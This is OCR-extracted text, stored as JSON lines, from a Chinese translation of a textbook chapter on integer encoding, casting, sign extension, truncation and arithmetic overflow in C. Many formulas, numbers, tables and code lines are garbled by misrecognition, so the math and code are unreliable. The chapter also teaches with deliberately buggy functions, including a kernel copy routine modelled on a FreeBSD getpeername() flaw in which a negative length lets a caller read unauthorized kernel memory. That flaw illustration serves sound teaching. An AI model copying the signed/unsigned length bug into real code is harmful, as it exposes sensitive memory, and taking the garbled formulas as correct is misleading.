    {"text": "数[据类型 long long 是在 ISO C 99中引入的，它需要至少8个字节 表7K o C数据类型 最小值 最大值 char -128 127 unsigned char 0 255 short [int] -32 768 32 767 unsigned short [int] 0 ‘ 65 535 int —2147 483 648 2 147 483 647 unsigned [int] 0 4 294 967 295 long [int] -9 223 372 036 854 775 808 9 223 372 036 854 775 807 unsigned long [int] 0 18 446744073 709 551 615 long long [int] -9 223 372 036 854 775 808 9 223 372 036 854 775 807 unsigned long long [int] 0 18 446744 073 709 551 615 图2-9 64位机器上C语言的整型数据类型的典型取值范围（方括号中的文字是可选的) C数据类型 最小值 最大值 char 一 127 127 unsigned char 0 255 short [int] —32 767 32 767 unsigned short [int] 0 65 535 int -32 767 32 767 unsigned [int] 0 65 535 long [int] -2 147 483 647 2147 483 647 unsigned long [int] 0 4 294 967 295 long long [int] 一9 223 372 036 854 775 807 9 223 372 036 854775 807 unsigned long long [int] 0 18 446 744 073 709 551 615 图2-10 C语言的整型数据类型的保证的取值范围（方括号中的文字是可选的） 注： C 语言标准要求这些数据类型必须至少具有这样的取值范围。"},
    {"text": "我们用一个函数幻l/ w (Binary to Unsigned)的缩写，长度为w)来表示： (2-1) B2U w (x) /=0\nS2t/ 4 ([0001]) B2U A {[mi}) B2U 4 ([1011]) B2U 4 ([mi]) 0+0+0+1 0+4+0+1 8+0+2+1 8+4+2+1 1 51115 ( 2 - 2 ) 0.2 3 + 0.2 2 + 0.2 5 + 1.2 d 0.23 + 1.22 + 0.2^+1.2 0 1.2 3 + 0 . 2 2 + 1. 2^1-2° 1.23 + 1.22 + 1.241.2 0\n在图中，我们用长度为之的指向右侧箭头的条表示每个位的位置f。"},
    {"text": "最小值是用位向量[00\"*0]表示，也就是整数值 而最大值是用位向量[11…1]表示， m^mUMax w =^=0 121 - lo以w = 4位为例， Myto 4 = 52C/ 4 ([llll]) = 2 4 -1 = 15。"},
    {"text": "因此，函数52C4能够被定义为一个映射苽[4 : {0, 1} W —{0,…， 2 W -1} 0 无符号数的二进制表示有一个很重要的属性，就是每个介于 0 〜 2 W -1 之间的数都有唯一一 个 W 位的值编码。"},
    {"text": "(Binary to Two’s-complement的缩写，长度为>v)来表示：\n(2-3) w—2 ■ L W B2T w {x)^^x w _ x 2 w -\n最高有效位也称为符号位，它的“权重”为-2^^,是无符号表示中权重的负数。"},
    {"text": "0+0+0+1 = 1 0+4+0+1 = 5 -8 + 0 + 2 + 1 = 一 5 一 8+ 4+ 2 牛 1 = 一 1 于是，与一个位向量相关联的数值 52r 4 ([0001]) = 一 0.23 + 0.22 + 04 + 1.2 0 = (2-4) B2T 4 ([0101]) = -0.23 + 1.22 + 0.2 1 + 1.2 0 = B2T 4 ([1011]) = -1 • 2 3 + 0 • 2 2 + 1 • 2 1 + 1 • 2° = 52 r 4 ([llll]) = 一 1 . 2 3 + 1.22 + 14 + 1 . 2 0 = 在这个图中，我们用向左指的条表示符号位具有负权重 （ 是由可能的向左指的灰色条和向右指的蓝色条加起来决定的。"},
    {"text": "我们可以看到 ， 图2-11和图2-12中的位模式都是一样的，对等式（2-2.)和等式（2-4)来 说也是一样 ， 但是当最高有效位是1时，数值是不同的 ， 这是因为在一种情况中，最高有效位的 权重是+8,而在另一种情况中，它的权重是-8。"},
    {"text": "它能表示的最小值是位向量[10\"*0](也就\n是设置这个位为负权，但是清除其他所有的位)，其整数值为〜土一 2吣、而最大值是位向量 [oi-i](清除具有负权的位，而设置其他所有的位)，其整数值为士 IX—= 以长度为 4 为例，我们有1况加 4 = 527 4 ([1000]) = -2 3 = -8，而rMw: 4 =於了 4 ([0111])=之 2 + 2 I + 2° = 4 + 2 + 1 = 7O 2 2 = 4 2 、 2 瞧 2°=1 ■ H~~h 8-7-6-5-4-3-2-10 12 3 4 5 6 7 8 H~~h [ 0001 ] [ 0101 ] [ 1011 ] [ 1111 ] 图2-12 w = 4的补码示例。"},
    {"text": "请根据这些表示，通过写出等式（2-1)和等式（2-3)所示的求和公式中的2的非零次幂， 填写下表： X B2U A {x) B 2 T 4 (X) 十六进制 二进制 OxE [1110] 2 3 +2 2 +2 1 =M -2 3 +2 2 +2 1= -2 0x0 0x5 ’ 0x8 : OxD - OxF - 图2-13展示了针对不同字长，几个重要数字的位模式和数撞。"},
    {"text": "数 字长 w 8 16 32 64 UMax w OxFF OxFFFF OxFFFFFFFF OxFFFFFFFFFFFFFFFF 255 65 535 4 294 967 295 18 446 744 073 709 551 615 TMin w 0x80 0x8000 0x80000000 0x8000000000000000 -128 -32 768 -2 147 483 648 -9 223 372 036 854 775 808 TMax w 0x7F 0x7FFF 0x7FFFFFFF '0x7FFFFFFFFFFFFFFF 127 32 767 2 147 483 647 9 223 372 036 854 775 807 -1 OxFF OxFFFF OxFFFFFFFF OxFFFFFFFFFFFFFFFF 0 0x00 0x0000 0x00000000 0x0000000000000000 图2_13重要的数字。"},
    {"text": "程序员如果希望代码具有最大可移植性，能够在所有可能的机器上运行 , 那么除了图 2-10 所示 的那些范围之外，我们不应该假设任何可表示的数值范围，也不应该假设有符号数会使用何种 特殊的表示方式。 另一方面，许多程序的书写都假设用补码来表示有符号数，并且具有图 2-8 和 图 2-9 所示的 “ 典型的 ” 取值范围，这些程序在大量的机器和编译器上也有可移植性。"},
    {"text": "我们前面看到了，某些C数据类型，特别是long型，在不同的机器上有不同的取 值范围，而实际上C语言标准只指定了每种数据类型的最+范围，而不是确定的范围。"},
    {"text": "在 Java 中 , 单字节数据类型称为 byte, 而不是 char ,而且 m long long 数据类型 p 这些非常具体的要求都是为了保证无论在什么机器上， Java 程序运\n行的表现都能完全一样。"},
    {"text": "有符号数的其他表示方法 有符号数还有两种标准的表示方法： 反码（Ones’ Complement)：除了最高有效位的权是—(2 W_ 1 —1)而不是一它和补码是一 样的： w—2 B20 w (x) = — 1) + [ x{l l /=0 原码（Sign-Magnitude):最高有效位是符号位，用来确定剩下的位应该取负权还是正权： /w—2 B2S w (x) = (-1卜 1. [ X- \\ /=0 这两种表示方法都有一个奇怪的属性，那就是对于数字o有两种不同的编码方式。"},
    {"text": "作为一个示例，考虑下面的代码： short x = 12345; short mx = -x; 3 A show_bytes((byte^pointer) &x, sizeof(short)); 5 show_bytes((byte_pointer) &mx, sizeof(short)); 切 12 345 -12 345 53 191 仪 位 值 位 值 位 值 1 1 1 1 1 1 1 2 0 0 1 2 1 2 4 0 0 1 4 1 4 8 1 8 0 0 0 . 0 16 1 16 0 0 0 0 32 1 32 0 0 0 0 64 0 0 1 64 1 64 128 0 0 1 128 1 128 256 0 0 1 256 1 256 512 0 0 1 512 1 512 1024 0 0 1 1 024 1 1 024 2 048 0 0 1 2 048 1 2 048 4 096 1 4096 0 0 0 0 8 192 1 8192 0 0 0 0 16 384 0 0 1 16 384 1 16 384 土 32 768 0 0 1 -32 768 1 32 768 总计 12 345 -12 345 53 191 图2-14 12 345和-12 345的补码表示，以及53 191的无符号表示。"},
    {"text": "注意后面两个数有相同的位表示 www.TopSage.com\n当在大端法机器上运行时，这段代码的输出为30 39和cf c7,指明x的十六进制表示 为0x3039,而mx的十六进制表示为0XCFC7。"},
    {"text": "在下面的列表中，对于标号为A〜J (标记在右边）的那些行，将指令名（sub、mov和add) 右边显示的（用32位补码形式表示的）十六进制值转换为等价的十进制值。"},
    {"text": "8048337 81 ec b8 01 00 00 sub $0xlb8,%esp A. 804833d 8b 55 08 mov 0x8(%ebp),%edx 8048340 83 c2 14 add $0x14,%edx B. 8048343 8b 85 58 fe ff ff mov Oxfff f fe58(%ebp),%eax C. 8048349 03 02 add (%edx),%eax 804834b 89 85 74 fe ff ff mov %eax,Oxfffffe74(%ebp) D. 8048351 8b 55 08 mov 0x8(%ebp),%edx 8048354 83 c2 44 add $0x44,%edx E. 8048357 8b 85 c8 fe ff ff mov 0xfffffec8(%ebp ) ,%eax F. 804835d 89 02 mov %eax,(%edx) 804835f 8b 45 10 mov 0x10 (%ebp) ,°/ 0 eax G. 8048362 03 45 0c add Oxc(°/ 0 ebp) ,%eax H. 8048365 89 85 ec fe ff ff mov %eax,Oxfffffeec(%ebp) I. 804836b 8b 45 08 mov 0x8(%ebp),%eax 804836e 83 cO 20 add $0x20,%eax J. 8048371 8b 00 mov (%eax) ,°/ 0 eax 有符号数和无符号数之间的转换 C语言允许在各种不同的数字数据类型之间做强制类型转换。"},
    {"text": "例如，假设变量x声明为 int, u声明为unsigned。 表达式（unsigned) x会将x的值转换成一个无符号数值，而 (int>u将u的值转换成一个有符号整数。"},
    {"text": "比如说 ， 考虑下面的代码： short int v = -12345; unsigned short uv = (unsigned short) v; printf (\"v = %d, uv = 7 0 u\\n\", v, uv); 在一台釆用补码的机器上，上述代码会产生如下输出： v = -12345, uv = 53191 我们看到，强制类型转换的结果保持位值不变 ， 只是改变了解释这些位的方式。"},
    {"text": "类似地 ， 考虑下面的代码： unsigned u = 4294967295u; /* UMax_32 */ int tu = (int) u; - printf(\"u = %u, tu = %d\\n\", u, tu); 在一台釆用补码的机器上,上述代码会产生如下输出： u = 4294967295, tu = -1 从图2-13我们可以看到，对于32位字长来说，无符号形式的4 294 967 295 (f/Max 32 )和补 码形式的-1的位模式是完全一样的。"},
    {"text": "也就是说，给定0<^<2”范围 内的一个整数A函数C/25 w (x)会给出x的唯一的w位无符号表示。 相似地，当;c满足- x < 2 W ~\\ 函数：T25 w (jc)会给出jc的唯一的w位补码表示。"},
    {"text": "这个函数的输入是一个0〜2 W -1之 间的数，结果得到一个-2H〜2 W _M之间的值，这里两个数有相同的位模式，除了参数是无 符号的，而结果是以补码表示的 6 类似地，对于-2\"- 1 〜2^-1之间的值;c,函数定义为 T 2 U W (X)= B 2 U W ( T 2 B W (X)) 9 生成一个数的无符号表示和x的补码表示相同。"},
    {"text": "继续我们前面的例子,从图2-14中，我们看到72C/ 16 (-12345)=53191 ，^R U2T^53191)=-12345 0 也就是说，十六进制表示写做 0XCFC7 的16位位模式既是-12 345的补码表示，又是53 191的 无符号表示。"},
    {"text": "X T 2 U 4 (X) -8 -3 -2 -1 0 5 为了更好地理解一个有符号数字x和与之对应的无符号数 T2U w (x) 之间的关系，我们可以利 用它们有相同的位表示这一事实，推导出一个数字关系。"},
    {"text": "比较等式（2-1)和等式（2-3),可以 发现对于位模式3?,如果我们计算於t/ w (30 - B2T w (x) 之差，从0到w-2的位的加权和将互相抵 消掉，剩下一个值： B2UJix)-B2Tjx) = XnV 1 —2^ 1 ) = ^^2 W 。 这就得到一个关系：幻(7 W (S) = x w . l 2 w + B2T w (x)o 如果令3f = ：T25 w 0c>,我们就得到以下公式 B2UJT2B W (x)) = T2U W (x) = x w . x 2 w + x (2-5) 这个关系对于证明无符号和补码运算之间的关系是很有用的。"},
    {"text": "在x的补码表示中，位Xh决定了 x是否为负，得到 ,、fx+2 w , x<0 T2U w (xy\\ (2-6) [Xy X > 0 比如说，图2-15比较了当w = 4时，函数52C/和扣r是如何将数值变成位模式的。"},
    {"text": "2 3 =8 2 2 =4 2°=1 ■ -8-7-6-5-4-3-2- 1 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 _] 隱 —1~1~h— —1~f—i—i~i~i~i~i—i~i~i— —f—1—1 nil 11 圖 +16 ► 图2-15比较当w = 4时无符号表示和补码表示（对补码和无符号数来说， 最高有效位的权重分别是-8和+8,因而产生一个差为16) 图2-16说明了函数的一般行为。"},
    {"text": "如 果设我们得到以下公式 B2T W (U2BM) = U2T w (u) = + u (2-7) 在《的无符号表示中，位〜― 1 决定了《是否大于或者等于2 W '得到 ,、fw, xKl^ 1 U 2 ™ = {U- 2\\ u>2 w ~ l (2-8) 图2-17说明了这个行为。"},
    {"text": "对于这个范围以外的数值，转换需要加上或者减去2'例如，我们有 T2U W (-1) = -l+2 w = UMax w 最靠近0的负数映射为最大的无符号数。"},
    {"text": "函数c/2r把大于-1的数字转换为负值 C语言中的有符号数与无符号数 2 w T 可以看到 T2U W (TMinJ = -2^ 1 + 2 W = 2 w ~ l = TMax w + 1——最小的负数映射为一个刚好在补码的正数 范围之外的无符号数。"},
    {"text": "显式的强制类型转换就会导致转换发生，就像下面的代码： int tx, ty; unsigned ux, uy; 3 tx = (int) ux; uy = (unsigned) ty; 另外，当一种类型的表达式被赋值给另外一种类型的变量时，转换是隐式发生的，就像下面 的代码： int tx, ty; unsigned ux, uy; 3 tx = ux; /氺 Cast to signed 氺 / uy = ty; /* Cast to unsigned */ 当用printf输出数值时，分别用指示符％d、%u和％x以有符号十进制、无符号十进制和 十六进制格式输出一个数字。 注意printf没有使用任何类型信息，所以它可以用指示符来 输出类型为int的数值 ， 也可以用指示符％d输出类型为unsigned的数值。 例如，考虑下面 的代码： int x = -1; unsigned u = 2147483648; /* 2 to the 31st */ 3 printf(\"x = %u = %d\\n\", x, x); printf(\"u = %u = %d\\n\", u, u);\n当在一个32位机器上运行时，它的输出如下： x = 4294967295 = -1 u = 2147483648 = -2147483648 在这两种情况下，printf首先将这个字当作一个无符号数输出，然后把它当作一个有符号 数输出。"},
    {"text": "以下是实际运行中的转换函数：r2t/ 32 (-l) = UMax 32 = 2 32 -1和C/2r 32 (2 31 ) = 2 31 - 2 32 = -2 31 = TMin no 由于C语言对同时包含有符号和无符号数表达式的这种处理方式，出现了一些奇特的行 为。 当执行一个运算时，如果它的一个运算数是有符号的而另一个是无符号的，那么C语言会 隐式地将有符号参数强制类型转换为无符号数，并假设这两个数都是非负的，来执行这个运算。"},
    {"text": "因为 第二个运算数是无符号的，第一个运算数就会被隐式地转换为无符号数，因此表达式就等价于 42949672951K0U (回想T2【/ w (-1) = 这个答案显然是错的。"},
    {"text": "表达式 类 型 求 值 0 == ou 无符号 1 -1 < 0 有符号 1 -1 < ou 无符号 0* 2147483647 > -2147483647-1 有符号 1 2147483647U > -2147483647-1 无符号 0* 2147483647 > (int) 2147483648U 有符号 1* -1 > -2 有符号 1 (unsigned) -1 > -2 无符号 1 图 2-18 C 语言的升级规则的效果 注：非直观的情况标注了 ‘*’。"},
    {"text": "， 表达式 类 型 求 值 -2147483647-1 == 2147483648U -2147483647-1 < 2147483647 -2147483647-1U < 2147483647 -2147483647-1 < -2147483647 -2147483647-1U < -2147483647 网络旁注DATATMIN C语言中 TMin 的写法 在图2-18和练习题2.21中，我们很小心地将rM« 32 写成-214748364 7 _1。 为什么不简单 地写成-2147483648或者0x80000000 ?看一下C头文件limits.h,注意到它们使用了跟 我们写 TMn 32 和rMox 32 类似的方法： /* Minimum and maximum values a f signed int 1 can hold. */ #define INT.MAX 2147483647 .#define INT.MIN (-INT—MAX 一 1) www.TopSage.com\n不幸的是，补码表示的不对称性和C语言转换规则之间这种奇怪的交互，迫使我们用这种 不寻常的方式来写 TMin Z20 虽然理解这个问题需要我们钻研C语言标准的一些比较隐晦的角落， 但是它能够帮助我们充分领会整数数据类型和表示的一些细微之处。"},
    {"text": "将一个无符号数转换为一个更大的数据类型，我们只 需要简单地在表示的幵头添加0,这种运算称为零扩展（zero extension)。 将一个补码数字转换 为一个更大的数据类型可以执行符号扩展（sign extension),规则是在表示中添加最高有效位的 值的副本。"},
    {"text": "） 例如，考虑下面的代码：\n/* -12345 */ sx; /* 53191 */ /* -12345 */ /* 53191 */ short sx = -12345; unsigned short usx = int x = sx; unsigned ux = usx;\nprintf(\"sx = %d:\\t\", sx); show_bytes((byte_pointer) fesx, sizeof(short)); printf(\"usx = %u:\\t\", usx); 9 10 •11 12 13 show.bytes((byte_pointer) &usx, sizeof(unsigned short)); printf(\"x = %d:\\t\", x); show_bytes((byte_pointer) &x, sizeof(int)); printf(\"ux = %u:\\t\", ux); show_bytes((byte_pointer) &ux, sizeof(unsigned)); 在釆用补码表示的32位大端法机器上运行这段代码时，打印出如下输出 SX USX -12345: cf c7 53191: cf c7 -12345: ff ff cf c7 53191: 00 00 cf c7 我们看到，尽管-12 345的补码表示和53 191的无符号表示在16位字长时是相同的，但是在 32位字长时却是不同的。"},
    {"text": "前者使用的是符号扩展一最开头加了 16位，都是最高有效位1,表示 为十六进制就是OxFFFF。 后者开头使用16个0来扩展，表示为十六进制就是0x0000。"},
    {"text": "我们想要证明的是 .. 众([A w x 0 ]) = B2T m ([x u ^ h x w _ 2i ..., X 0 ]) y 」 k 次 这里，在表达式的左边，我们增加了 A:位Xd的副本。"},
    {"text": "因 此，证明的任务就变为证明以下等式：\nB2T w+l {[x w —\\» --1» -^iy—2» • • •， x 0 ]) = B2T w ([x w _^ h x w _ 2 , ...,又o]) 用等式（2-3)展开左边的表达式，得到： u?—1 T w _[, a w ,—卜 x w _2, . • •，-^o]) = 一〜,丨-12 + > : '.2 /=0 w—2 :--1 + x w ^\\2 w 1 + x i^ 1 /=0 w—2 u (2--2^) + ^^ i=0 w—2 ■E^ 2/ /=0 我们使用的关键属性是212^=2^。"},
    {"text": "2 = 4 2°=1 B 8-7-6-5-4-3-2-10 1 2 3 4 5 6 7 8\n[ 101 ] [ 1101 ] [111] [ 1111 ] 图2-19从w = 3到w = 4的符号扩展示例。"},
    {"text": "对于w = 4,最高两位组合权重为一8+ 4 ==-4, 与w = 3时的符号位的权重一样 _练习题2.22应用等式(2-3),证明下列每个位向量都是-5的补码表示。"},
    {"text": "考虑下面的代码：\n/* -12345 */ /氺 Mystery! */ short sx = -12345; unsigned uy = sx;\nprintf (\"uy = 7 0 u:\\t n , uy); showJbytes((byte_pointer) &uy, sizeof(unsigned));\n在一台大端法机器上，这部分代码产生如下输出： uy = 4294954951: ff ff cf cl 这表明当把short转换成unsigned时，我们先要改变大小，之后再完成从有符号到无符 号的转换。"},
    {"text": "也就是说(unsigned) sx等价于(unsigned) (int) sx,求值得到4294 954 951, 而不等价于（unsigned) (unsigned short) sx,后者求值得到53 191。"},
    {"text": "_练习题2.23考虑下面的C函数： int funi(unsigned word) { return (int) ((word « 24) » 24); > int fun2(unsigned word) { return ((int) word « 24) » 24; > 假设在一个采用补码运算的32位字长的机器上执行这些函数。"},
    {"text": "例如下面代码中这 种情况： ■ 1 int X = 53191; short sx = (short) x; /* -12345 */ int y = sx; /* -12345 */ 在一台典型的32位机器上，当把x强制类型转换为short时，我们就将32位的int截断 为16位的short into就像前面所看到的，这个16位的位模式就是-12 345的补码表示。 当 我们把它强制类型转换回int时，符号扩展把高16位设置为1,从而生成-12 345的32位补码 表示。"},
    {"text": "通过对等式（2-1)应用取模运算就可以得到： B2U w ([x w _ h x w _ 2 , ...，x 0 ]) mod 2 k ： mod ./=0 ■ •,k-l _ mod2 /: J2 X i 2i ./=0 ■ k-i = J2 X i 21 i=0 = B2U k ([x k _ h x k _ 2 ,…，補 在这段推导中，我们利用的属性是：对于任何 i > h 和Eto 1 x i 2i < Eto 2 i = 2^1< lK 对于一个补码数字 x， 相似的推理表明527； ([x w . l} ‘_ 2 ，…， x 0 ]) mod t = B2U k [x k ^ x A _ 2 ，…，A]。"},
    {"text": "这将得到数值 U2T k (x mod 2% 总而言之，无符号数的截断结果是： B2U k ([x k _ h x k — 2 , ..., x 0 ]) = B2U w ([x w _ h x w _ 2 ,…，尤 0 ]) mod 2 k , (2-9) 而补码数字的截断结果是： 52^([^_1, x k _ 2 , • • • ’ 又o]) = U2T k (B2U w ([x w _ h x w _ 2 , ..., x 0 ]) mod 2 k ) (2-10) _练习题2.24假设将一个4位数值（用十六进制数字0〜F表示）截断到一个3位数值（用十六进制数 根据那些位模式的无符号和补码解释，说明这种截断对某些情况的结果。 十六进制 无符号 补码 原始值 截断值 原始值 截断值 原始值 截断值 0 0 0 0 2 2 2 2 9 1 9 .. — —1 B 3 11 -5 F 7 15 -1 解释如何将等式（2-9)和等式（2-10)应用到这些示例上。"},
    {"text": "而 这些非直观的特性经常导致程序错误，并且这种包含隐式强制类型转换细微差别的错误很难被发现。 因为这种强制类型转换是在代码中没有明确指示的情况下发生的，程序员经常忽视了它的影响。"},
    {"text": "/* WARNING: This is buggy code */ ' float sum_elements(float a[], unsigned length) { int i; float result = 0; for (i = 0; i <= length^1; i++) result += a[i]; return result; 当参数length等于0时，运行这段代码应该返回0.0。"},
    {"text": "前提是你要用 字符串库函数strlen，它的声明如下： /* Prototype for library function strlen */ size_t strlen(const char *s); 最开始你写的函数是这样的： /* Determine x^rlietlier string s is longer than string t */ 卜 WARNING: This function is buggy */ int strlonger(char *s, char *t) { return strlen(s) - strlen(t) >0; } 当你在一些示例数据上测试这个函数时，一切似乎都是正确的。"},
    {"text": "代码的简化版本如下： /* * Illustration of code vulnerability similar to that found in * FreeBSD's implementation of getpeername() */ 5 /* Declaration of library function memcpy */ void *memcpy(void *dest, void *src, size_t n); 8 /* Kernel memory region holding user-accessible data */ #define KSIZE 1024 char kbuf[KSIZE]; 12 /* Copy at most maxlen bytes from kernel region to user buffer */ int copy_from_kernel(void *user_dest, int maxlen) { /* Byte count len is minimiim of buffer size and maxlen */ int len = KSIZE < maxlen ? KSIZE : maxlen; memcpy (user _de st, kbuf, len); return len; > 在这段代码里*第7行给出的是库函数memcpy的原型，这个函数是要将一段指定长度为n 的字节从存储器的一个区域复制到另一个区域。"},
    {"text": "对用户来说，大多数内核维护的数据结构应该是不可读的，因 为这些数据结构可能包含其他用户和系统上运行的其他作业的敏感信息，但是显示为kbuf的区 域是用户可以读的。"},
    {"text": "不过，假设有些怀有恶意的程序员在调用copy一from_kernel的代码中对maxlen使用 了负数值，那么，第16行的最小值计算会把这个值赋给len,然后len会作为参数n被传递 给memcpy。"},
    {"text": "典型地，在32位机器上被定义为unsigned into 既然参数n是无符号的，那么memcpy会把它当作一个非常大的正整数，并且试图将这样多字 节的数据从内核区域复制到用户的缓冲区。"},
    {"text": "虽然复制这么多字节（至少2 31 个）实际上不会完成， 因为程序会遇到进程中非法地址的错误，但是程序还是能读到没有被授权的内核存储器区域。"},
    {"text": "2.3 整数运算 许多刚入门的程序员非常惊奇地发现，两个正数相加会得出一个负数，并且比较表达式x<y 和比较表达式x-y<0会产生不同的结果。"},
    {"text": "一些编程语言，例如Lisp,实际上就支持无限精 度的运算,允许任意的（当然，要在机器的存储器限制之内）整数运算。 更常见的是，编程语言 支持固定精度的运算，因此像“加法”和“乘法”这样的运算不同于它们在整数上的相应运算。"},
    {"text": "对于一个4位的字长，其和可能需要5位 .一般而言，我们可以看到，如果;c+y<2 w ,则和的w+1位表示中的最高位会等于0,因此 丢弃它不会改变这个数值。 另一方面，如果2 W < 则和的w+1位表示中的最高位会 等于1，因此丢弃它就相当于从和中减去了 2'图2-21说明了这两种情况。"},
    {"text": "现在定义参数x和 少的运算+二 j^MO < x,y<2 w , 如下： X 〜… <2W ^ (2-11) w \\x + y-2 w , 2 W <x + y< 2 W+1 这正好是在C中执行两个w位无符号数值加法时得到的结果。"},
    {"text": "大于2 W -1时，其和溢出 一个算术运算溢出，是指完整的整数结果不能放到数据类型的字长限制中去。 如等式 (2-11)所示，当两个运算数的和为2 W 或者更大时，就发生了溢出。"},
    {"text": "<16时，没有溢出，并且jc+ 4 u y 就是x+y,这对应于图中标记为“正常”的斜面。 当16时，加法溢出，结果相当于从和 中减去16,这对应于图中标记为“溢出”的斜面。"},
    {"text": "要明白这一点，请注意因此如果^没有 溢出，我们能够肯定另一方面，如果s确实溢出了，我们就有FX + yj'假设少<2' 我们就有y —2 W <0,因此5 = <+(少一2\")<1在前面的示例中，我们看到9+ 4 u 12=5。 由于 5 <9,我们可以看出发生了溢出。"},
    {"text": "_练习题2.27写出一个具有如下原型的函数： /* Determine whether arguments can be added without overflow */ int uadd_ok(unsigned x, unsigned y); 如果参数x和y相加不会产生溢出，这个函数就返回1。"},
    {"text": "尤， ^ = ° (2-12) 2 W -X 9 X>0 模数加法形成了一种数学结构，称为阿贝尔群（Abelian group),这是以丹麦数学家Niels Henrik Abel (1802〜1829)的名字命名。"},
    {"text": "X —> 十六进制 十进制 十进制 十六进制 0 5 8 D F 2.3.2补码加法 对于补码加法，我们必须确定当结果太大（为正)或者太小（为负）时,应该做些什么。"},
    {"text": "给 定在范围—2 W-1 < x，< 2 w ~ l -l 之内的整数值x和少，它们的和就在范围-2 W < jc + < T-2 之 内，要想准确表示，可能需要位。"},
    {"text": "因此，我们能够定义字长为w的、运算数x和 上的补码加法U和;;满足-2旷 1 <孓少< 2\"- 1 ),表示为+ :： X y = U2T w (T2U w (x) T2U w (y)) . (2-13) 根据等式（2-5),我们可以把：T2t/ w (;c)写成;+ 把r2C/ w (y)写成;vf+3；"},
    {"text": "使用属 性，即+ w u 是模2 W 的加法，以及模数加法的属性，我们就能得到: x = U2T w (T2U w (x) +: T2U w (y)) = U2T w [(x w _{l w + x + u2出 + y) mod 2 W ] = U2T w [{x .+ y) mod 2^] 消除了 xn2 w 和这两项，因为它们模2 W 等于0。"},
    {"text": "当它大 于2 W_1 +1时，产生正溢出 -2 w <z< -2 W - 1 0 然后，我们会有f = z+2 w 0 检查等式（2-8), 我们看到z’在满足的范围之内。"},
    {"text": "我们将两个负数x 和少相加（这是我们能得到z < -2\"- 1 的唯一方式)， 得到一个非负的结果z”=x +对2' -2〜<2<0。 那么，我们又将有z’= z+2 w ,得到-2^+2^2 1 ^ 1 < ^ < 2' 检査等式 (2-8),我们看到z'在满足z”=z' -2 W 的范围之内， 因此2”=2'-2”=2 + 2〜一2^2。"},
    {"text": "我们将正数jc和相加（这 是我们能得到z > 2- 1 的唯一方式)，得到一个负数结果-2' 通过前面的分析可以证明，范围在-2“ -1之内的；"},
    {"text": "实施运算+丨时，我 们有下面这样的式子 x + y-2 w , 正溢出 (2-14) jc + y， -2 w - 1 <x-^y<2 w ~ 1 正常 ^ + ^ + 2^, x + >；"},
    {"text": "X y x +y 情况 -8 • — 5 -13 3 1 [1000] [1011] [10011] [0011] -8 -8 一 16 0 1 [1000] [1000] [10000] [0000] -8 5 一 3 -3 2 [1000] [0101] [11101] [1101] 2 5 7 7 3 [0010] [0101] [00111] [0111] 5 5 10 —6 4 [0101] [0101] [01010] [1010] 图2-24补码加法示例。"},
    {"text": "X y x+y 情况 [10100] [10001] [11000] [11000] [10111] [01000] [00010] [00101] [01100] [00100] _练习题2.30写出一个具有如下原型的函数: /* Determine whether arguments can be added without overflow */ int tadd_ok(int x, int y); 如果参数X和y相加不会产生溢出，这个函数就返回1。 _练习题 2.31你的同事对你补码加法溢出条件的分析有些不耐烦了，他给出了一个函数tadd一 ok的 实现，如下所示： /* Determine whether arg\\xments can be added without overflow */ /* WARNING: This code is buggy. */• int tadd_ok(int x, int y) { int sum = x+y; return (sum-x == y) && (sum-y == x); 你看了代码以后笑了。"},
    {"text": "假设你写的练习题2.30的代码如下所示 ：. /* Determine whether argnmeirts can be subtracted without overflow */ /本 WARMING: This code is buggy. */ int tsub_ok(int x, int y) { return tadd_ok(x, ~y); > x和y取什么值时，这个函数会产生错误的结果？"},
    {"text": "图2-25补码加法（字长为4位的情况下，当;8时，产生负溢出； 8时，会产生正溢出） 2.3.3补码的非 我们可以看到范围在<2〜中的每个数字;c都有+丨下的加法逆元。"},
    {"text": "-2^+:^2^ 1 的值由等式（2-14)的第三种情况给 出，因为+—2“ = 一2'最后得出= + 从这个分析中，我们可以 定义对于范围-2 W_1 < x<2 w_1 内的x,补码的非运算（negationoperation) -丨如下： 2 W ~\\ x = - 2 W ' —x, x > — 2 W ' (2-15)\n_练习题2.33我们可以用一个十六进制数字来表示长度w=4的位模式。"},
    {"text": "下面是一些字长为4的示例： incri-x)\nI t u u u --=- - 1 1 o o o 1 o o o o o o 1 o o 1 X ix ix [[[rL rL [0l0l] [Olll] [IlOO] [0000] [10QQ] r J i -■ i u u u o 1 1 1 o 1 1 1 CD o 1 1 .1 o 1 X o rL rL rL [ rL\n从前面的例子我们知道Oxf的补是0耳0,而Oxa的补是0x5,因而Oxfff f f ffa是—6的 补码表示。"},
    {"text": "我们用一些4位数字来说明这个方法,这里用斜体来突出最右边的模式1, 0, •••,():\n4 8 5 7 -I I 甽叫切0./] 7 0 0 0 o 7 .1. .1 -4-85 7 ^ ^ 0 0 o 1 [1^§,[01[01\n2.3.4无符号乘法 范围在0 < < 2 w -\\ 内的整数；"},
    {"text": "不过，C语言中的无符 号乘法被定义为产生w位的值，就是2w位的整数乘积的低w位表示的值。 根据等式（2-9),这 可以看作等价于计算乘积模2 W 0 因此，w位无符号乘法运算* :的结果为： x = (x - y) mod 2 W (2-16) 2.3.5补码乘法 范围在-2— 内的整数jc和可以表示为w位的补码数字，但是它们的乘 积尤7的取值范围在—2 W_1 • (2^-1) = 一 2.2+2^ 1 和 一 2 W_1 . -2 w ~ l = -2 2w ~ 2 之间。 要用补码来表\n示这个乘积，可能需要2w位——大多数情况下只需要2w-1位，但是特殊情况2 2w — 2 需要2w位 (包括一个符号位0)。 然而，C语言中的有符号乘法是通过将2w位的乘积截断为w位的方式实 现的。 根据等式（2-10), w位的补码乘法运算* I 的结果为： x* i w y=U2T w ((x-y)mod2 w ) (2-17) 我们认为对于无符号和补码乘法来说，乘法运算的位级表示都是一样的。 也就是，给定长度 为W的位向量5和夕，无符号乘积似： B2U w {y) 的位级表示与补码乘积於r w (J)* lB2T w (y) 的位级表示是相同的。"},
    {"text": "虽然无符号和补码两种乘法乘积的6位表示不同，但是截断后的乘积的位级表 示都相同。 模式 X y x'y 截断的 无符号 5 [101] 3 [011] 15 [001111] 7 [HI] 补码 -3 [101] 3 [011] -9 [110111] -1 [HI] 无符号 4 [100] 7 [HI] 28 [011100] 4 [100] 补码 -4 [100] -1 [HI] 4 [000100] -4 [100] 无符号 3 [011] 3 [on] 9 [001001] 1 [001] 补码 3 [011] 3 [on] 9 [001001] 1 [001] 图2-26 3位无符号和补码乘法示例（虽然完整的乘积位级表示相同， 但是截断后的乘积的位级表示都相同） 为了说明（无符号和补码）乘积的低位是相同的，设;c=527；"},
